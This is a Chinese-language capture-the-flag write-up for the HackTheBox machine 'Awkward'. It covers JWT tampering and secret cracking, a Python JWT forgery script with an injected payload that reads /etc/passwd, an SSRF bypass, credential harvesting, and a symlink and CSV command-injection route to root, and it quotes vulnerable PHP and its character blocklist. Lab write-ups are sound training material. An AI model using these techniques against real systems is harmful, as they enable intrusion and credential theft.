HackTheBox - Medium - Linux - Awkward

Awkward

Awkward 是一款中等难度的机器,它突出显示了不会导致 RCE 的代码注入漏洞,而是 SSRF、LFI 和任意文件写入/追加漏洞。此外,该框还涉及通过不良的密码做法(例如密码重用)以及以纯文本形式存储密码来绕过身份验证。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

Vhost枚举

ffuf

file

从主站的开发者工具中能找到router.js,里面有几个路由

file

/hr

file

http请求里有个token,常规把guest改admin,然后刷新页面

file

跳转到了dashboard

file

现在我们继续看services下的/api端点

file

通过staff-details,我们能够获得user和密码hash

file

hashcat爆出一个,是christopher.jones的

file

把token重置为guest,然后到/hr登录

file

SSRF

store-status参数是一个url,盲猜SSRF, 直接给一个url发现没成功

通过常规@符逃逸就成功了

file

前面的store子域是需要登录的,密码重用没成功

通过SSRF扫内网的http服务

生成数字字典

file

ffuf

file

file

3002披露了那几个api的后端源码

file

Foothold

值得注意的是all-leave,这里user虽然被黑名单严格检测,但依然有可乘之机, 这将通过jwt来让它妥协

file

这里的jwt是签名的,通过jhon爆破得到密钥

file

生成jwt poc

import jwt


key = "123beany123"
algorithm = "HS256"
payload = {
   "username": "/' /etc/passwd '"}

token = jwt.encode(payload, key, algorithm=algorithm)
print(token)

file

两个用户,读/home/bean/.bashrc

file

读backup_home.sh

#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp

从浏览器下.tar.gz,解压之后得到

file

在xpad中能看到bean的明文凭据

file

通过这个明文密码,我们可以登bean的ssh

file

本地权限提升

现在,我们能够通过admin:bean的凭据 登录store子域

file

同时,pspy也发现了root似乎在读leave_requests.csv后发送了一封邮件,我看到bean.hill时我想应该可以修改leave_requests.csv将username改为恶意命令来达到劫持这条命令的效果

2024/01/05 23:40:01 CMD: UID=0     PID=4834   | tail -1 /var/www/private/leave_requests.csv 
2024/01/05 23:40:01 CMD: UID=0     PID=4836   | /bin/bash /root/scripts/notify.sh 
2024/01/05 23:40:01 CMD: UID=0     PID=4841   | trivial-rewrite -n rewrite -t unix -u -c 
2024/01/05 23:40:01 CMD: UID=0     PID=4840   | mail -s Leave Request: bean.hill christine

然鹅/var/www/private/leave_requests.csv无权读写

在store查看时,我发现了一些txt,并且去读取了它们,这些似乎是一些http参数

file

grep

file

在cart_actions.php中,值得关注的是这些代码

//check for valid hat valley store item
function checkValidItem($filename) {
   
    if(file_exists($filename)) {
   
        $first_line = file($filename)[0];
        if(strpos($first_line, "***Hat Valley") !== FALSE) {
   
            return true;
...
//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
   
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
   
        if(strpos($item_id, $bad) !== FALSE) {
   
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
   
        if(strpos($user_id, $bad) !== FALSE) {
   
            echo "Bad character detected!";
            exit;
        }
    }

    if(checkValidItem("{
     $STORE_HOME}product-details/{
     $item_id}.txt")) {
   
        if(!file_exists("{
     $STORE_HOME}cart/{
     $user_id}")) {
   
            system("echo '***Hat Valley Cart***' > {
     $STORE_HOME}cart/{
     $user_id}");
        }
        system("head -2 {
     $STORE_HOME}product-details/{
     $item_id}.txt | tail -1 >> {
     $STORE_HOME}cart/{
     $user_id}");
        echo "Item added successfully!";
    }

虽然我们依然无法直接rce,但是product-details/和cart/两个目录我们都有777权限,private/ www-data组应该有权限

在product-details/下创建一个新的4.txt,在第二行写入恶意命令

file

去到cart/创建软连接

file

创建cmd.sh

file

请求cart_actions.php

file

不出意外它会到来,除非手慢了

file

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-01-06 04:52:01       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-06 04:52:01       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-06 04:52:01       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-06 04:52:01       18 阅读

热门阅读

  1. 郑州大学算法设计与分析实验4

    2024-01-06 04:52:01       40 阅读
  2. Apache配置与应用

    2024-01-06 04:52:01       35 阅读
  3. facebook广告开企业户的渠道是什么

    2024-01-06 04:52:01       37 阅读
  4. OpenGL ES案例学习-画板

    2024-01-06 04:52:01       33 阅读
  5. 紧跟国际潮流,勇探未知领域

    2024-01-06 04:52:01       36 阅读
  6. ROS执行命令发现找不到python2.7解决办法

    2024-01-06 04:52:01       41 阅读
  7. Qt设置的字体加粗、下划线、斜体、字号,字体

    2024-01-06 04:52:01       30 阅读
  8. <sa8650>sa8650 CDT-之-汽车CDT配置用户指南(上)

    2024-01-06 04:52:01       31 阅读